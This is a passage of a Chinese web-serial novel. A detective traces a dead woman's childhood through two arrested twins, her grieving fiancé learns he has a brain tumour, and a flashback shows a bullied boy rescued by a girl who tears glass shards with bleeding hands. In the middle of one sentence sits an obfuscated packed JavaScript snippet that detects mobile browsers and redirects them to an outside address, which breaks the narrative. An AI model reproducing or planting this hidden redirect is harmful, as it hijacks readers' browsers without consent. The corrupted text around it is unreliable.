当日下午,刑警队员分批潜入河溪镇。为免打草惊蛇,众人搭乘公共交通或驾驶普通车辆,抵达后直接融入抓捕网络,全程避开当地警局,以防有耳目。 在路上严疏听着沙盘推演,提出了几个关键伏击点,也算做出了不少贡献。最终收网时他虽未直接参与行动,但抓捕却是异常顺利——主从犯毫无抵抗,全员落网,行动参与人员零人伤亡。 捷报传来,缉毒队长兴奋地喊着回去要请客。虽然人赃俱获,但后续的审讯取证、与当地警局的文书交接等工作仍需时日,因此全体人员不得不在河溪镇留驻至次日午后。 预审和文书工作无需刑警插手,这些借调刑警暂时无事,便去四处走动,旁听些案情。严疏原本对闲谈不感兴趣,却被偶然听到的一个消息钉在了原地——这批落网的犯人里,有两人是出身河溪镇的双胞胎,这次潜回老家也正是他们的主意。 严疏立即要了二人资料,竟发现二人与迟昼年龄相仿。心跳开始加速,他火急火燎地翻到第二页,看到教育背景那部分时,呼吸骤然停滞。 河溪二小。 正是迟昼和楚谕的母校。 这突如其来的线索让一向冷硬的严疏也难掩激动,他捧着那份薄薄的资料呵呵地笑出声来,嘴角控制不住地上扬。他几乎要开始相信,此番阴差阳错地重回故地,或许真是命运在背地里推波助澜。 在押解犯人返程途中,严疏特意申请驾驶押送双胞胎的那辆囚车。这两人自知罪责难逃,早已破罐破摔,一路上聒噪不休,时而吹嘘过往“辉煌”,时而抱怨时运不济,不时还嚷嚷着要水要烟。 从他们肆无忌惮的扯皮中,严疏这才得知此次行动为何如此顺利——他们这个团伙主要负责运输环节,前阵子不慎得罪了上游的真正毒枭,对方要黑吃黑,但在国内很多事不能明目张胆,便采用了举报的方式,以此借刀杀人。几人早已听到风声,知道大势已去,四处逃窜也只是苟延残喘而已。 兄弟二人知道走投无路,便提议躲回老家,觉得末路若是能与起点重叠,也算有点宿命感。对于被捕,他们反而有种解脱感,毕竟蹲号子总比真被黑吃黑要强,至少还有命活,因此抵抗意志极低。至于枪械武装,他们这种底层小角色更是无从触及。 也多亏了他们那无所顾忌的嘴,严疏才有了切入话题的契机,否则他的打探一定会像审问一样突兀,尤其是在......面对真正的罪犯之时。 他趁二人说起“成长史”的时候插了话:“哟,听口音是本地人?二小出来的?” 脖子上纹着不知什么图案的那个嗤笑一声:“算是吧,没毕业。” 另一个满臂花纹的立刻笑骂反驳:“放屁!那是你。老子当年差点混个优毕!” 严疏看似放松,神经实则紧绷,此刻觉得需要配合一下气氛,便生硬地扯了扯嘴角。车里的另外两名警员倒是被逗得真心笑了起来,一时间车厢内压抑的气氛缓和了不少。 严疏默默深吸一口气,终于将那个盘桓已久的问题抛了出来:“说起来,我还认识个你们小学的,叫迟昼,有印象不?” 两人没什么反应,只当是寻常闲聊。花臂那个皱着眉想了半天,突然猛地一拍大腿:“认识啊!怎么不认识!”他带着一种赢了赌局般的得意,看向还在冥思苦想的弟弟:“老二,就是笤帚!说大名想不起来了吧?” 脖子纹身的那个经此一提,连连“哦”了几声:“害,他啊!笤帚也犯事了?不能吧?” 严疏先是因花臂认出迟昼而心跳加速,却又对另一人的反应感到诧异。这反应......好像在他们根深蒂固的印象里,迟昼是个老实本分、甚至带点懦弱的好学生形象? 这与严疏这些日子明里暗里同迟昼较量后形成的认知,简直大相径庭——他可不觉得那人是什么小绵羊。 花臂接过弟弟的话头,自顾自地嗤笑起来:“不至于吧?现在什么人都能犯事儿了?小时候那就是个软蛋,拿石头砸野猫都不敢。” 脖子纹身的那个连声附和:“就是说啊!整天只知道帮人扫地,‘笤帚’这外号就是这么来的。” 双胞胎一唱一和,快板似的你一言我一语,听得严疏一阵无语,却插不进话。 听着二人对迟昼的调笑,他忽然又想起宋朗对楚谕的评价——似乎所有人都在用各自的方式向他证明,迟昼和楚谕,不过是善良本分的普通人。 被勾起的话题显然不会轻易结束。花臂又是一声嗤笑:“我早说过他是个怂包崽子。整天跟在小姑娘屁股后面转,能有什么出息?” 脖子纹身的立即接话:“这倒是。不过话说回来,跟他好的那个丫头确实够狠啊,也难怪他对人家唯命是从。” 严疏握着方向盘的手一紧——来了。 “什么丫头?叫什么名字?” 花臂男咂了咂嘴,不以为然:“谁还记得这个啊。” 严疏有些着急,正要追问,脖子纹身的却接上了话:“名字不重要,但那丫头多少有点邪性。有回我俩踢球,把展板还是什么东西的玻璃给踢碎了,当时没人看见,想着笤帚是个软蛋又好欺负,就把他叫来,让他补一脚背锅。” 花臂男明显也想起来了,理直气壮地耸耸肩:“哦对。妈的那怂蛋不肯,还想跑。老子火了,直接架着他腿往玻璃板上杵,反正沾上再说。” 严疏听得直皱眉,既厌恶这种欺凌,又惊讶于迟昼那样......的人,童年竟有过这般遭遇。 “结果那丫头不知道从哪儿突然冒出来,”花臂男还在继续:“把老子吓一跳......” 脖子纹身的提高了声音:“对对!她狗日的二话不说,过来就徒手去掰那碎玻璃,掰完了还他娘的往地上扔,老子喊都喊不住,后来愣是掰得满地都是带血的玻璃碴,跟特么凶杀现场似的,看得老子头皮发麻。” 如今再回忆起来,花臂男已没了当时的震撼,只是有点感叹:“那丫头确实是个狠人,但笤帚就是他妈个软蛋。老子记得清清楚楚,他当时吓得跪在地上哭,丫的都没人理,还在那儿哭哭哭。”说着他调转矛头:“老二你当时也不咋地,晚上还拉着老子回去打扫,丢人。” 脖子纹身的立刻反驳:“狗屁!你胆子很大?当时先跑的不是你?老子撵都撵不上!” 花臂撇了撇嘴,转移了话题:“少扯淡。我怎么记得之前什么时候还见过那疯子来着......” 这次是脖子纹身率先反应过来,得意地抬起眉毛:“你那脑子还能记点啥。是在个工厂外头,还是你先看见的,当时说咱缺个管物资的,要不干脆拉她入伙,还说反正已经认定过了,够疯。” 花臂难得地没回嘴,只点点头:“有这回事。当时还唠了两句吧,是不是还问笤帚来着?”说着他突然“哎”了一声,坐直了些:“说到这个又想起件事——老子之前在哪碰见笤帚来着!有段时间了应该,不过他混的也不咋样,没比咱强哪去。” 脖子纹身哼笑一声:“老子从小就说学习屁用没有,没人听呐!一个个都......” 后面两人插科打诨的内容,严疏已无心细听。他紧抿着唇,在脑海中整理着接收到的信息。 看来分开之后,楚谕还惦记着迟昼。不过这也正常——毕竟连保险的受益人,都写的他。 刚刚听到的儿时往事再次浮现脑海,他说不清是什么感受——心绪激荡,却也并非豁然开朗。只是从旁人口中拼凑出的楚谕,总是温顺、娴静、逆来顺受,像是被命运推着走的弱者,缺乏鲜明的人格轮廓。特别是在了解她的原生家庭、见过楚怀平之后,严疏更理所当然地将她归为弱势、无助的那类女孩。 可刚刚那个场景中的楚谕,与这个固有印象简直背道而驰。 严疏忽然意识到,自己恐怕也陷入了“想当然”的误区。那样的原生家庭,确实可能养成怯懦、自卑、讨好的性格,但也可能催生出完全相反的存在——毕竟,要挣脱牢笼,就必须长出更为坚硬的刺。 他一边驾车,一边沉思:或许该重新审视这个案子了。就从最根本的问题开始:楚谕,究竟是个怎样的人? 想到这里,一阵悲凉忽然袭来。人都已经走了半年,世上恐怕已无人惦记。此时再去探究这些陈年旧事,又有什么意义? 如果这世上最后一个愿意探寻你人格底色的,竟是个素不相识、风评不良的刑警......这样的人生,该是何等荒凉、失败? 这份莫名的悲哀笼罩着他,余下的路程他始终沉默,对后座的喧闹充耳不闻,只是专注地握着方向盘。 任务交接得很顺利,市局和支队领导都难掩喜色。对于严疏,大家都说他时运正旺,短短时间连立两功,明年晋升已是板上钉钉。虽然升也升不到多高了,但终究是件喜事,他也配合地露出笑容。 只有他自己知道,此刻最迫切的,仍是解开那个心结。 他隐约觉得,这起案件正成为他人生的分水岭,在看不见的地方,悄然改变着他。 前路将通往何方?他不知道。唯有将楚谕的案子查个水落石出,他才能安心思考以后的路。 ********* 收拾东西离开公司时,许多同事主动向他道别,目光中满是惋惜。宋朗却只是怔怔地点头,几乎没有任何回应,与从前那个永远礼数周全的宋总判若两人。 没有人明白宋朗为何突然辞职。他能力出众,年纪尚轻,再往上升只是时间问题。人事部门和高层都找他谈过话,再三挽留。 可他去意已决。真正的原因,只有他自己知道。 后来大家渐渐猜测,大概还是因为未婚妻的突然离世——毕竟自那以后,他整个人像被抽走了魂,忽然苍老了不少。宋朗向来克己复礼,虽然显得刻板无趣,却也因此格外可靠,加上形象出众、职位又高,公司里对他有好感的女孩其实不少。原先知道他即将结婚,大家就都收了心思,现在知道婚事成不了了,便开始有人私下开玩笑,猜测他何时会开始新的恋情。 却没想到,等来的竟是辞呈。 几个相熟的同事知道得多些,以为未婚妻去世只是次要原因,主要可能还是家里产业需要他回去接手。他们明里暗里地帮忙解释,不愿让他在公司留下为情所困的印象。 但其实,宋家没有一个人知道他辞职的事。 宋朗抱着纸箱缓缓走向地库,把那些承载着过往的物件塞进后座,然后坐进了驾驶座。 他在车里静坐了许久,才缓缓发动引擎。 哑光黑的轿车在街巷间漫无目的地游荡,最终停在悦澜湾那栋出过事的公寓楼下。 事发后,宋朗再未踏足这里。陈静知道他伤心,主动接手了后续事宜——找人重新装修,委托中介挂牌出售,只是至今未能成交。装修时,屋里留下的东西几乎都被处理干净了,什么都没留下。 剩的那些日用品、衣物和发绳之类的零碎物件,下葬时都已随她而去,包括车里那个巨大的玩具熊——是她刚刚买的,甚至还没有拿上过楼。那辆日系轿车也做了彻底清洗,随后廉价转卖。 活着的人总是更加决绝。即便父母曾经那般喜欢楚谕,最终还是以“怕触景伤情”为由,迅速而彻底地抹去了所有痕迹,连她送的家居摆件,也未能幸免。 母亲做的这一切,宋朗都知情,也心存感激。他想,如果让他亲自来处理,恐怕到现在还下不去手。 毕竟,即便是废墟,也是她存在过的最后证明。 他缓缓将车停在那栋楼下,透过挡风玻璃怔怔地望着外面。时空仿佛在这一刻发生了错位——曾几何时,他会满怀期待地驶向这里,怎么转眼竟就到了此刻?从前他总是径直驶入地库,从未驻足细看过这个小区,如今凝神打量,竟觉得每一处都透着说不出的陌生。 他曾无数次送楚谕回家,或是去上班。每到分别的时刻,楚谕唇边总会浮起轻柔的浅笑,若伸手去握她的手,她便安静地任由握着,多久都不抽离。 那手掌总是微凉,像初春的溪水,在他的掌心渐渐染上温度。宋朗格外享受这样的时刻——两人在车厢的方寸天地里相对无言,只有交握的双手传递着无声的暖意。在那寂静的陪伴之下,窗外的喧嚣开始远去,世界逐渐缩小成彼此呼吸可闻的距离。 于宋朗而言,这便算是浪漫。不需要热烈的告白,不必有亲密的相拥,只这样静静地相伴,便觉岁月安然。 可楚谕已经彻底消失了。身体化为灰烬,社会关系逐一解除,连存在过的痕迹都被仔细抹去。这世上,再没有任何方法能让她回来。 宋朗伸手打开副驾前的储物盒,取出一个文件夹,里面是几页薄薄的报告。他苦笑,心想即便她已离去许久,但直到此刻,自己才真正开始直视“死亡”这两个字的重量。 其实世间事事,皆是如此——不亲身经历,就永远无法真正理解。 死亡,尤其如是。 这一切,其实早有预兆。几个月来莫名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352900|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头痛与疲惫,终究不是偶然。 宋朗微微合眼,仰头靠向头枕。手中的报告无力垂下,上面印着冰冷的诊断结果: 脑瘤。 医生同情的目光犹在眼前。对方坚持要他请家人一同听取病情,他却始终拒绝。不知如何面对父母,也不愿常住医院——他最终选择了拖延。 此刻,坐在楚谕生命终结的地方,他细细品味着死亡的滋味。出乎意料的是,恐惧并没有想象中的汹涌,更多的还是猝不及防的茫然——就像在阅读一封寄错地址的信,明知是给自己的,却怎么都对不上号。 他生来就比常人少了几分炽烈的渴望。不爱读书,却也懒得叛逆,于是便顺着既定的轨道一路前行,成绩竟也尚可。因不知自己想要什么,便也不知该如何表达,父亲教导的那套社交礼仪,倒成了最好的保护色——虽然刻板疏离,却如同一层透明的薄膜,恰到好处地掩去了他因内心空洞而产生的无措。 大学毕业时,他对是否回家族企业并不在意。是父亲提议他外出历练,他便应允了,一路做到现在。 看着妹妹肆意挥洒人生的模样,他从不会羡慕,有的只是困惑——那些喧闹的、流于表面的肤浅快乐,究竟有什么值得欢喜? 生活不算有趣,但也并不难熬。他就这样循规蹈矩地活着,在旁人眼中,逐渐成了克己、守礼、严谨、古板的代名词。 宋朗抬头望向那个漆黑的窗口,又想起了那个特别的女子。认识楚谕,爱上楚谕,似乎是他按部就班又寡淡无味的人生中唯一的意外,也是唯一一次,听从了内心的选择。 那么现在,又该做什么了? 他不知道。只忽然想起——自己曾劝严疏适可而止,毕竟......逝者已矣。 可现在,他好像反悔了。这,似乎是件值得去做的事。 而如今还会为此事停留的,大概只剩那个人了。 他曾问严疏“我能做什么”,现在也在问自己同样的问题——他没有警官证,很多事确实无能为力。但总会有些什么,是“宋朗”能做,而“严疏”不能做的。 宋朗深吸一口气,有了一个想法。 ********* 这天简宁排的是下午的班。一点刚过,迟昼见店里清闲,便开车送她过去。 车在店门前停稳,简宁推门下车,却绕到驾驶座旁轻叩车窗。迟昼按下玻璃,一只温热的手便探进来,轻轻拽住他的衣领往前一带,随后一个柔软的吻落在他脸颊。 “晚上见。”她声音里带着笑意。 自那夜失控后,迟昼似乎终于接受了身心替他做出的选择。如今的日常平静了许多,与简宁亲密时也不再感到那般割裂——仿佛自从放下执念,生活真的开始顺畅起来。 就像她说的,现在只剩她一个了。 他望着窗外的人,唇角微扬:“晚上我来接你。” 目送她的身影消失在店门后,他重新发动车子。原路返回,余光却在拐过街角时瞥见了什么,不由得深深叹息。 每当他试图说服自己“就这样过下去”的时候,总会有人适时出现,绊住他的脚步。 他本可以装作不知情径直离开,但片刻迟疑后,还是调转方向,朝城外驶去。车子穿过喧嚣的城区,驶入人烟渐稀的城郊,最终在防护稀疏的河堤边停稳。 迟昼静坐片刻,缓缓抬眼。 后视镜里,哑光黑的轿车已悄然停稳。 他下了车,靠在门上。 ———————————— 宋朗向前迈了一步:“你什么时候发现的?” “从咖啡店出来就注意到了。”迟昼的视线掠过波光粼粼的水面,“我记得你的车。” “你是故意引我来这里的?” “我想你应该有话要说。”迟昼转向潺潺流水,抬手示意这片静谧的天地,“这里清净。” 这处位于小河下游的角落确实幽静。沿岸植被疯长,几乎将人声隔绝在外,嶙峋的卵石铺满浅滩,像一处未被世人发现的秘境。 宋朗的喉结轻轻滚动,声音有点紧:“到车里谈吧。” 迟昼的注意力仍沉浸在流淌的水声中,并未察觉对方的异常,只是随口应道:“好。” 见迟昼已转身走向自己的车,宋朗愣了愣,欲言又止。想到是自己一路跟随而来,再要求更换地点未免失礼,又只得缓步跟上。 坐在驾驶座上的迟昼静静等待着。他知道宋朗找他是想聊什么,毕竟能将他们联系在一起的,唯有那个名字。 车窗外天光正好,流云如洗。迟昼靠在座椅里,忽然觉得有些荒诞——他从未想过会与宋朗这样的人同处一车。十六七岁时,他也曾幻想过成为这样光鲜体面的人,可后来才明白,人生很多事,不是单凭努力就能改变的。 他正出神,却注意到宋朗仍站在车外,不由降下车窗:“怎么了?” 宋朗像是突然被惊醒,猛地拉开车门坐了进来。 迟昼看着他局促的动作,心下有些了然——像宋朗这样循规蹈矩的人,做出尾随这种事已是出格。在经历了警局那场闹剧后又顶风作案地跟到这里,想必是有什么话要说、或是要问。 他缓缓升起车窗,静待对方开口。 两个因楚谕而产生交集的男人,在她生前素未谋面,如今却并肩坐在这狭小空间里。咫尺之距,却仿佛隔着错位的时空。 宋朗沉默了许久,像是在平复心情,然后才终于开了口:“你和楚谕......是一起长大的?” “是。” 宋朗的语气开始有些急切起来,打破了先前的克制:“她从前......是什么样的?” 这出乎意料的问题让迟昼微微一怔。他原以为宋朗会像严疏那样,旁敲侧击地试探。 “你跟了一路,就为了打听这些往事?”迟昼将椅背调低,目光飘向窗外,“你不怀疑她的死与我有关?” 宋朗摇头:“我们在一起的时间不短,从没发现有人骚扰她,甚至不知道你的存在。我想,要么你们确实疏远,要么......”他顿了顿,才轻声说:“是你在刻意保持距离,不想造成误会,打扰她的生活。” 迟昼陷入沉默。 宋朗微微叹了口气:“男人并非没有直觉。我想......你一定很在乎她。” 迟昼仰靠在座椅上,望着窗外如蛋清般剔透的浮云。这是个难得的好天气,天空蓝得纯粹,云朵白得澄净,让他忽然想起了故乡——自从来到这座城市,他已很久没有抬头看天了。日升月落变成了上下班的标志,不再是自然的馈赠。 此刻这片湛蓝,让他忆起了年少时的夏日。那时候在放学路上抬起头,总能看见这样明媚的天光。 他也曾拥有那样明亮的年华。不短,却好像转瞬即逝。 只有在痛苦的映衬下,美好才会显得刻骨铭心——这大概是迟昼在成长过程中学到的,最为深刻的道理。 是她,教会他的。 19. 拾玖 再遇见从前的人们,似乎都只记得迟昼是个文静腼腆、成绩优异的乖孩子,连迟安与蔡雨也不例外。而更久远一点的迟昼是什么样子,却再无人回忆,也无人探寻——仿佛那些窘困与狼狈的岁月,独是他与楚谕之间沉默的联结,已被时光单独封存,仅供彼此凭吊回忆。 不过那时,楚谕......还叫楚遇。 迟昼比同龄人晚上学一年,原因朴素得近乎荒诞——迟安忘了他的年纪已到学龄,因而错过了报名。于是,他的人生从一开始,就滞后了旁人一步。 即便比同学年长一岁,那时的他却像一株吸收不了阳光的植物,瘦小、瑟缩,常年占据教室的第一排,身高甚至不及大多数女生。起初尚且相安无事,直到某次体检他的实际年龄随着报告单被公之于众,调笑便如同水渍,开始在稚嫩却残酷的童言里无声蔓延。 在河溪镇这种小地方,孩子的世界里没有对“兄长”的尊崇,只有对“笨拙”的鄙夷。一个连幼儿园都要“留级”的人,一个年长却更为矮小的人,天然便成了群体中最醒目的靶子。 那时,值日是所有孩子心照不宣的负担——家务尚且做不完,谁愿意在学校无偿劳动?于是换班、推诿成了最初的伎俩,而人小又沉默的迟昼,便理所当然地成了那个被一次次调换、最终承接所有杂役的人。从最初的商量,到后来的理所当然,风气一旦形成,便如潮水般扩散,再难抵挡。 渐渐地,这成了惯例。班里最顽劣的几个男生,即便轮到值日,也会嬉笑着扬长而去,将扫帚理所当然地塞到已经代劳过数次的迟昼手中。如同最初的嘲笑,这种风气也很快蔓延开来。 毕竟,在小学生的世界里,“合群”是至高法则,即便并不参与,沉默本身也是一种落伍。 迟昼,便成了维系小团体的代价。 他不是没有试过拒绝,但在那个力量与体型直接挂钩的年纪,瘦小的身躯本身就是一种无声的妥协。而一旦开启了退让的闸门,便再无底线。 因他总在打扫,那柄几乎与他等高的扫帚,便成了最显眼的标识,结合着名字,很快便催生出了一个外号——“笤帚”。这个外号迅速超越了本名,连别班不知其名的学生,见到他也会哄笑着喊出来。 自此,他走在校园里,在众人眼中仿佛就成了一把魔法扫帚,所到之处,必会引来一片意味不明的嬉闹。 言语的边界一旦被踏破,肢体的试探便注定接踵而至。推搡,碰撞,“不小心”弄散他刚收好的作业本......在那个自制力稀薄的年纪,恶作剧的升级,几乎是必然的轨迹。 小学的前三年,迟昼就是这么过来的。他不是没想过求助,可父亲向来不怎么理他,继母虽待他耐心,他却总憋着一股倔,不愿在她面前露怯。至于其他大人,大多只是摆摆手,说句“小孩玩闹罢了”,也并不会深究。 日子终究得自己过,迟昼渐渐也就认了,每天低头贴着墙根走,只埋头学习,生怕碍了谁的眼。可局面早已定型,他再小心也是无用,总会有人追着他戏弄,像玩一个不会腻的游戏。 和许多孩子不同,那时他最怕的不是主课,而是体育。小地方没那么多花样,无非是跑跑步,然后就地解散,自由活动。每当这时,他就一个人悄悄溜到角落,可篮球总会“不小心”地朝他飞来,擦着头皮过去。接着,喊声就会追来:“笤帚,把球扫回来!” 很长一段时间内,这几乎成了固定流程。 迟昼只能去捡球,然后扔回去。但他力气太小,球常常在半路就落了地。有时对方会作罢,但更多时候,他们会抱着球冲过来,像玩打鸭子一样,追着他边乐边砸。 起初他还想躲,可跑不快,慌张之下,总会左脚绊右脚,重重摔在地上,然后没出息地哭出声。这时,看热闹的女生也会笑起来,男生们便像得了鼓励,围上来,把刚要爬起的他一次次推倒,换来更多的哄笑。 然后他们就更来劲了,动作变本加厉,像炫耀,又像讨好,如同进入了一个死循环。 在迟昼眼里,他们就是一群体型巨大的怪兽,要把他啃得骨头都不剩。可他没有办法,就只能熬着,期待着下课铃的响起。 他就这样一天天捱着,最是盼望放假。不光因为不用上学,还因为放假之前有期末考试——他成绩好,那时老师会当众表扬他,同学们也会因此收敛几分。 三年级下学期的一天,迟昼照常在放学后打扫教室——那时他几乎包揽了所有的值日工作。这时候,隔壁班那对出了名闹腾的双胞胎突然冲进来,硬要拉他出去,说是有“好事”。 这俩人是外班人里最早开始戏弄他的,平时无法无天,老师都头疼,不太爱管。迟昼心里害怕,不肯去,却架不住他们连拉带拽,最终被生生拖到了操场后面的空地。 这里说是要用来扩建操场,却一直也没动工,平时罕有人至,逐渐就成了调皮学生的“秘密基地”。因为已经立了几块新做的展览牌,教务处老师便三令五申,严禁学生在此打闹,生怕给碰坏了。 迟昼一到那儿,远远就看见一块展牌的玻璃已经碎了一地。他立刻明白过来,转身想跑,却被死死拽住。 “跑什么跑!”双胞胎中的一个攥着他的胳膊,急匆匆道:“过去踢一脚!算你有难同当了,以后哥们儿罩着你!” 另一个也围上来:“一脚就成!这买卖你赚大了,麻溜点!” 迟昼嘴唇发抖,眼泪在眼眶里打转,拼命向后缩,用全身力气表达着拒绝。 先拉住他的那个有点烦了,但还是压着声音:“不就一块玻璃吗?出事了也就是赔钱,我们出行吧!老师喜欢你,不会把你怎么样的,赶紧的吧!” 那时的迟昼对钱没什么概念,只知道不能“惹事”。在学校安分读书、保持好成绩,是爸爸能给他一点好脸色的唯一理由,他不能连这个也丢了。 三人就这么拉扯僵持着。其中一个逐渐没了耐心,猛地一拽他,恶狠狠地威胁:“笤帚,别给脸不要脸!老街的虎子哥知道吗?我们刚认的大哥!你不听话,有你好果子吃!” 迟昼肩膀一缩,更加害怕。虎子哥的名头他当然听过,是常在老街网吧附近混的社会青年,好多同学都绕着走。可不知怎的,那股埋在骨头里的倔劲忽然上来了,令他怎么都不肯点头。 “真是听不懂话!”威胁他的那个失去了耐心,“老二,把他抬起来!” 两人直接上手,一人一边搂住他的腿,把他整个人架离了地面。突然悬空,迟昼失去了所有支点,只能眼睁睁看着自己离那破玻璃越来越近,终于崩溃地哭出声:“别......别这样......呜呜......” 两人毕竟也是孩子,抬着他有些吃力,喘着气还不住嘲笑:“哭啥?哥们儿带你享福呢!” 迟昼双腿乱蹬,虽然让两人踉踉跄跄,却怎么也挣脱不开,急得他扯着嗓子大喊起来,可放学后的校园空空荡荡,哪有人听得见? 就在他的脚快被按到碎玻璃上时,一个带着不耐的清脆声音突然从旁边传来:“你们在干什么?” 这突如其来的声音把兄弟俩吓了一跳,手上力道一松,迟昼“噗通”一声摔在地上。他也顾不得屁股生疼,手脚并用就往后蹭,只想离那块碎玻璃远点。 双胞胎惊魂未定地回头,却看见只是个瘦小的女生,面生,叫不出名字,但知道是同年级的。两人立刻松了口气,恢复了之前的气焰。 “鬼叫个锤子?”其中一个吼了回去,“想英雄救......哦不对,”他瞟了一眼在地上狼狈爬行的迟昼,嗤笑起来,“爬地狗熊?哈哈哈哈!” 另一个打量着女生单薄的身板,也咧嘴笑了,接口道:“老二,这叫豆包打狗!” 迟昼停下了后退的动作,脸上火辣辣的,难堪地低下头,却依旧没有勇气吭声。 那女生却没动,也没还嘴,只是静静地站着,像棵没什么存在感的小草。 兄弟俩自顾自地笑了几声,渐渐觉出不对劲——往常这么嘲笑女同学,对方不是哭着跑开就是尖声反驳,哪有像这样一动不动、一声不吭的? 笑声戛然而止。两人面面相觑,从对方眼里看到了同样的茫然,随即变成了被无视的恼怒。其中一个上前一步,试图用气势压倒她:“喂!你杵在这儿干嘛?真要给笤帚出头啊?” 女生依旧没什么反应,目光甚至有些空茫,仿佛没聚焦在他们身上。 另一个沉不住气了,双手叉腰,带着施舍般的口吻挑衅道:“想替他出头是吧?成啊!你过去朝那玻璃踹一脚,我们就放过他,怎么样?” 一直低着头的迟昼,睫毛几不可察地颤动了一下,随即又垂落下去。 女生似乎终于处理完脑中的信息,视线缓缓转向说话的人。就在兄弟俩不耐烦地准备叫她滚开时,她却忽然动了,脚步径直走向那片狼藉的展板。 整个空地忽然安静下来。迟昼也终于抬起头,怔怔地望着那个纤瘦的背影。 女生走到展板前,却没有抬脚,而是直接伸出手,攥住了那片支棱着尖锐断口的碎玻璃边缘。 “咔——嚓!” 一声脆响,一块带着凶险棱角的玻璃被她硬生生掰了下来。她回转身,面无表情地将玻璃碎片扔到双胞胎脚前。 “卧槽!” 兄弟俩异口同声,吓得差点跳起来,看女生的眼神像在看什么怪物。 迟昼也看傻了,低头盯着脚边那块闪着寒光的碎片,脑子里一片空白。 “你、你他妈有病是吧!”双胞胎中的一个反应过来,气急败坏地指着她,“大爷的,有本事你再——” “叮。” 又一声轻响,一块新的碎玻璃被扔到他们面前。迟昼瞳孔骤然收缩,僵在原地,几乎惊叫出声——这一片上,赫然沾着刺目的鲜红血迹! 他还没从震惊中回神,第三片、第四片、第五片......带着血迹的碎玻璃接二连三地被扔过来,噼里啪啦散落一地。那上面的血色越来越多,越来越浓,汇聚在玻璃锋利的边缘,看得人头皮发麻。 迟昼被吓得眼泪直流,神智终于回笼。他想爬起来阻止,双腿却软得像面条,刚起身就“噗通”一声跪倒在地。他想喊“别弄了”,可一张嘴全是破碎的哭腔,一个字也说不出,只能拼命地摇头,眼泪大颗大颗地砸进尘土。 “卧槽,卧槽啊——你个神经病!疯子,妈的,有疯子!扯呼!” 兄弟俩脸色煞白,猛地后退了几步,反而缩到了跪地的迟昼身后,让他直面那个在碎玻璃前自残的怪物。看着满地染血的碎片,他们再不敢放一句狠话,互相使了个眼色,如同惊弓之鸟,转身就没命地跑远了,头都没敢回。 女生这才停下动作,垂着不断滴血的手,脸上却依旧没什么表情。她看了一眼跪在地上哭得几乎脱力的迟昼,眉头几不可察地蹙了一下,带着一丝不易察觉的嫌弃:“还不快起来。” 她丢下这句话,转身就走,仿佛刚才那骇人的一幕与她无关。 过了好一阵,迟昼才勉强止住抽噎。他用袖子狠狠抹了把脸,再抬头时,那个女生早已不见踪影,只留下一地沾着血的玻璃碴,刺目地提醒着他刚才发生的一切。他心里发毛,手脚并用地爬起来,头也不回地往教室跑。 奔跑时,那个画面却不受控制地在脑中反复闪现—— 女生逆光站着,垂在身侧的手滴着血,低头看他时,整张脸都浸在夕阳熔金的光晕里,看不真切,却莫名让人......心安。 因惊吓和奔跑而狂跳的心脏,竟奇异地、一点点地沉静了下来。 迟昼对那个女生毫无印象。他想不明白,怎么会有人,尤其是一个女生,会为了他这样的人站出来,甚至做出那么决绝的事。 他冲回教室,再顾不上值日,草草收好书包便向外跑去。冲出校门,他焦急地左右张望,可哪里还有她的影子?正急得眼眶再次发酸,低头却忽然瞥见地上几滴已然发暗的红痕。 迟昼眼睛一亮,顿时顾不上难过了,朝着那个方向拔腿就追,生怕慢一步,她就消失在了某个岔路。 终于在一个巷口看见了那个熟悉的背影,他快步赶上去,跟在她侧面,喘着气说:“刚才......你的手......” 女生却像没听见,双手揣在兜里,目不斜视,步伐又快又稳。迟昼愣了一下,明白过来人家是要回家。看方向,他们并不同路。 可他还是不自觉地跟了上去,保持着一步多的距离。 那天格外闷热,路上行人个个满脸通红,汗流浃背,可偏偏天空却蓝得那般透彻,云团蓬松柔软,如同刚出炉的棉花糖。 那年他十岁,瘦小得混在一年级新生里也毫不违和。而走在前面的女生,却已有了大孩子的模样,肩线单薄却挺直,个子也比他高出了一截。 他们就这样一前一后,沉默地走着。穿过了趴着大黑狗的幽深胡同,走过了名字模糊的青石板桥,踏过分隔田地与池塘的安静堤坝。脚下的路在无声延伸,将熟悉的街巷、熟悉的目光,尽皆甩在身后。 明明是两个素不相识的人,却仿佛要一起走到世界的尽头,走到一个再无人相识的彼岸——即便此刻他们眼中的世界,仅有太仓一粟。 在一条潺潺的小溪边,女生终于停下脚步,转过身来:“你跟着我做什么?” 迟昼被她问得一怔,支支吾吾了半天,才想起最初的缘由:“我......我就是想看看你的手怎么样了。” 女生轻轻笑了一下,蹲下身将双手浸入溪水,清澈的水流立刻晕开缕缕淡红。她说得轻描淡写:“很快就会好的。” 看着那抹血色在水中飘散,迟昼的眼眶又热了:“你......你怎么知道?那么多玻璃......你要不要涂药?我家里应该有......” “我就是知道。”女生没抬头,却出声打断了他。 迟昼张了张嘴,一时语塞。半晌,才又想起该问的话:“你......叫什么名字?” “刚才直接问不就好了,为什么要跟这么远?”女生站起身,甩了甩手上的水珠,将手揣进兜里,这让她看起来和任何一个普通女生没什么两样。 迟昼有些尴尬地笑笑,却支吾着说不出什么。 “我叫楚遇,清楚的楚,遇见的遇。”女生顿了顿,目光落在他脸上,“我知道你叫什么。我是说真名,不是外号。” 迟昼愣住了,随即涌上一阵莫名的激动,连嘴角微微上扬都没察觉:“你怎么知道的?” “因为我一直在想......”楚遇直视着他的眼睛,直白地说:“你为什么不反抗。” 他嘴角的弧度消失了,慢慢低下头:“唉,我......我其实......也不知道。” 他是真的说不清。是因为觉得身体发育晚打不过,还是单纯不愿打?抑或是内心深处觉得自己本就应该承受这些,权当是某种成长的磨砺?十岁的他还太小,想不透这些复杂的问题。但在楚遇面前,他第一次清晰地尝到了羞愧的滋味。 从那天起,在楚遇面前,他总会莫名地感到羞愧。 楚遇没再追问,转身继续往前走,迟昼也默默跟上。不知不觉间,两人已并肩而行。 楚遇忽然指向天边:“看,夕阳。” 